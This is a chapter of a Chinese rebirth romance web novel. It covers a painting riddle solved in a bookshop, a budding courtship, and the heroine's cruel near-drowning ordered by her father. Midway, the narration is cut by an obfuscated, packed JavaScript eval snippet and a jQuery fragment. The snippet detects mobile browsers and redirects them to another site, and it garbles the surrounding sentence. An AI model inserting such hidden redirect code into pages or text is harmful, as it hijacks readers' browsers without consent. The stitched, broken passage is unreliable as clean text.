9. 第九章
作品:《岁有所安(重生)》 他垂首往下看去,清冽微沉的嗓音响起,似白珠落于玉盘,悦耳动听。
“是。”
明明回答的是沈云溪的问题,目光却轻轻往蓝衣女子的方向轻扫了一眼,随后,他轻笑起来,似是十分愉悦。
“既回答对了,那事先应允的东西,便是公子的了。”
“还请移步,随我上二楼取松石先生的字画。”
此话一出,一楼其他慕名而来的诸位解谜人皆是一愣,不敢相信答案竟然是“秋阴不散霜飞晚,留得枯荷听雨声。”
待反应过来,众人纷纷不解质疑,大喊道凭什么答案是这两句,画中的景,画中的意,分明是夏季女子仰卧小舟惬意赏荷,虽说这句诗里确实对的上“荷”和“秋霜”,但这小舟和女子却是怎么看都无法自洽,况且,从画中意境来看,也绝不可能带有悲情色彩。
拥挤的人群顿时像炸开的锅,大家你一言我一语地表达着自己独到的想法和见解,没有一个人试图仔细观察台上那画。
二楼的男人面无表情地看着台下的人们,就像看没有感情的木偶表演,丝毫没有开口解释的意思,似乎谁都不放在眼里,只沉默等着即将要上二楼取字画的少年。
就在事态隐隐朝着不可控的方向发展时,沈云溪径直从架着画的台上一跃而下,迈着不可一世的步伐,缓步走上二楼,悠悠开口。
“诸位。”他并未刻意加大音量,只一贯用着与平时无二的声音,有力沉稳,天然带着几分令人臣服的力量,好似他本来就是人群中的焦点,一下便将全场的目光吸引过来。
沈云溪并不想多作解释,只轻轻提点了一句:“这幅画只是化成黑白,但若是有了颜色,你们觉得,还会是诸位口中那些答案吗?”
空气猛的寂静了几秒,所有人都不约而同看向台上。
有几个悟性高的,一下便品出些深意,连连点着头叹道“原来如此。”
有个清秀书生为了赢回几分面子,竟开始自发在人群中解释起来。
“诸位,那小公子说的没错,确实是这两句诗无疑。”
“请先往画上的灰云看,首先,如此大片的阴云,若是夏季,雨点必定是豆大而圆,但此画中的雨却细长棉密,只能是春季或秋季,再看荷叶,排除春季,由此便可断定此时是秋季,‘秋阴’、‘雨’,都对上了”
“诸位再看小舟,虽然画中小舟附近是大片的圆叶,但自小舟向四周看,越往外,上头细细密密,大小不一的黑点越多,若是有了颜色,便可知道,这是荷叶已经枯萎的迹象,所以对上了‘枯荷’。”
眼看有人着急质疑那悲情是从何而来,书生立即意味深长地笑着:“唉,这可就更明显了,诸位想,若是有了颜色,这画中下了雨,此女子仰面躺于舟上,不仅不躲不避,且襦裙颜色并没有深浅不一的雨渍,这是为何?”
“说明呀,这女子本就是虚的,又何来惬意赏荷,去掉女子,再结合原诗中的相思之意,诸位,可否明白?”
这一番话说的有理有据,细致入微,但凡是有点脑子的人,立马便品出此诗句作为答案,再合适不过,不对,应该说是这画作者应该就是依照这诗亲手画的作图,而那女子,便是他作画的缘由。
这下,所有的质疑声纷纷褪去,只余下一声声惊叹,输得心服口服。
沈云溪见风波平息,接下来就该轮到他的正事了,少年侧头,往李嫣的方向轻看了眼,随后正身示意雪衣男人先行一步,自己则跟在他后面前去小厅取字画。
李嫣本就一直观察着他们这边的动静,从未分神去理其他事情,在接收到沈云溪的示意后,立马动身朝着二楼的方向走去,她走的急,怕踩到自己的衣裙不小心将自己绊倒,干脆拎着轻薄的蓝色衣裙,小碎步地跑了上去。
沈云溪本来是走在雪衣男人身后,可没走几步,那人却莫名落在了他后头,就算是他本来就走的轻慢不快,怎么着也不可能差上如此多。
他余光瞥了眼马上到二楼的李嫣,轻呵了声,心道果然如此。
停了三秒,李嫣成功跟上,她笑的自然:“这么巧,这次我可不是来找你的,我是来找我朋友的。”一边说,一边往沈云溪的方向指了指。
裴照雪眼里划过一丝极浅的笑意,淡淡道:“我知道。”
李嫣面无表情,语气傲娇:“你知道就好。”话是这么说的,人却没再往沈云溪那边走,也没再主动开口说话。
二楼小厅内,沈云溪刚从裴照雪手里接过字画,李均便拉着姜绾从门外进来,对着裴照雪打马哈:“一起的,一起的。”
又搂着姜绾的肩转头看了眼沈云溪,张口就来:“她非说要来,我也没办法。”
被勒的喘不过气的姜绾僵硬附和:“嗯。”
沈云溪手里拿着字画,没听清李均说了什么,目光一直停留在姜绾肩头那只握地严丝合缝的手上,辨不清眼中神色。
见糊弄过去,李均放下手来,盯贼似的看着裴照雪,李嫣和他同框实在太过养眼,姜绾没忍住,也往他们的方向默默看去。
李嫣的美貌她早已习惯,但眼前这个雪衣男子她还是第一次近距离观察,先前在楼下看的不太清楚,只依稀判断出他应该是个美人,现下细细打量,才发现他的眉眼竟如此精致,如雪似黛,气质清冷,额间一点红痣,倒真像个天上的仙人,不食人间烟火。
沈云溪沉默着,将一切尽收眼底,执着字画,大步走向门口,拉过李均和姜绾,走出门去,为李嫣腾出空间。
李均:“哎,不是,你拉我……”
还未离远的距离,姜绾听见,李嫣盯着他,忽而问了句:“画里的人,是你之前喜欢的人吗?”
裴照雪看着她,静了半晌:“是。”
……
再往后,便彻底听不见了。
沈云溪一路领着他们来到走廊拐角处,抱着手臂,轻靠在墙壁上,先安抚李均:“放心,你阿姐没事,她可比你聪明多了。”再轻轻晃着手里装裱精致的字画,像看透一切,轻笑着问姜绾:“需要吗?”
说实话,姜绾确实想要,虽然不知道他是如何看出来的,可说出口的却是:“谢谢,不需要。”
沈云溪似是早就料到她会这么回答,丝毫没有意外,他收回笑,将字画搭在交叉的手臂里,没怎么放在心上。
一旁还是有些不放心阿姐且目睹全程的李均:“……”
眼神无声控诉沈云溪:我呢?怎么不问问你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868557|191822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的好兄弟我?
半炷香后,李嫣生气地走了出来,看见他们一行人仍守在外面,面色缓和了三分,率先走下楼去:“我先走了,你们自便。”
看见自家阿姐这幅不太高兴的模样,李均欢乐的同时又带着几分谴责,他就知道,那个男的不是什么好东西。
出了书坊,沈云溪和李均先将姜绾送到了离姜府不远的街道,然后才折身返去。
姜绾从偏门进入姜府,想着沈云溪虽然性子桀骜了点,但该有的风度和礼节确实一分没少,照理说应当是不缺京中女子爱慕倾心的,可她仔细想了想,上辈子直到她死后,也没瞧见他娶谁家贵女为妻,听见有关他爱慕哪家女子的传闻,想来当年他父亲之死,给他造成了不小的影响
今生她提前告知,以他的能力,应当是能成功护住他父亲的,到那时,想来他也能安心考虑嫁娶之事。
姜绾不禁深想,他那目中无人的性子,若是成了家,会是何种模样,应该……会比前世好上许多吧?
那她呢?摆脱姜家后的她,会甘心再次投身另一个樊笼,将自己一生的命运寄托在一个不确定的男人身上吗?
姜绾想,她大抵,是不愿的。
如果可以,她更愿意亲自走出这方天地,去见一见,那青年口中,所谓的江南烟雨、乌蓬古船,看一看,那书上说的千山暮雪、万里江河,哪怕她会在远方跌倒、挨饿、受冻,也心甘情愿,甘之如饴。
姜绾正这么想着,走在回偏院的路上,脑中思绪还未断开,眼前忽的一黑,是先前那几位将她拦下的管事嬷嬷,一如既往地向她施威:“四姑娘,跟奴婢们走吧。”
姜绾回神,沉默着跟上,心道该来的总是会来
同样的书房,同样的布局,同样的姜淮安,以及同样的她。
不同于上次他慈父般的笑容,此刻他脸上,是令姜绾更为熟悉的、令人恶心的愤怒和贪婪。
他端坐在案上,阴森森地问:“不知我之前交代给你的事,你有没有放在心上?”
姜绾站地笔挺,冷静出声:“回父亲,我已屡次旁敲侧击在安国公千金面前为您美言,至于成效如何,女儿实在无法掌控,还请见谅。”
姜淮安显然不管她有什么苦衷,拿起手边的一枚杯盏便往她脚边怒砸:“没有成效你不会再多美言几次吗?不会跪地磕头求着她央求她爹吗?她那么喜欢你,日日将你带去安国公府弹琴抚曲,会不上心吗?废物!一群废物!”他面目狰狞,破口大骂,明明知道自己的要求荒诞离谱,却还是依旧发泄着自己的怒气,将自己的的无能尽数算在姜绾头上
姜绾眼神冰冷,无动于衷,看他像看一个疯子。
疯子从案上起身,来回踱步,嘴里念念有词:“没用的东西,简直就是一群没用的东西!我养你们到底有何用!来人,将东西抬进来。”
外面几个静静候着的管事嬷嬷见怪不怪,迅速抬了一桶水搬进书房,几个身形粗壮的嬷嬷一把抓住姜绾的手臂,左右各一,毫不怜惜地将姜绾的头摁进冰冷的水里,数着呼吸,趁姜绾断气之前把她提起,待猛吸一口气后又将她迅速按下,反反复复,反反复复。
姜绾被水模糊了眼睛,恍惚间,看见了三岁的自己。

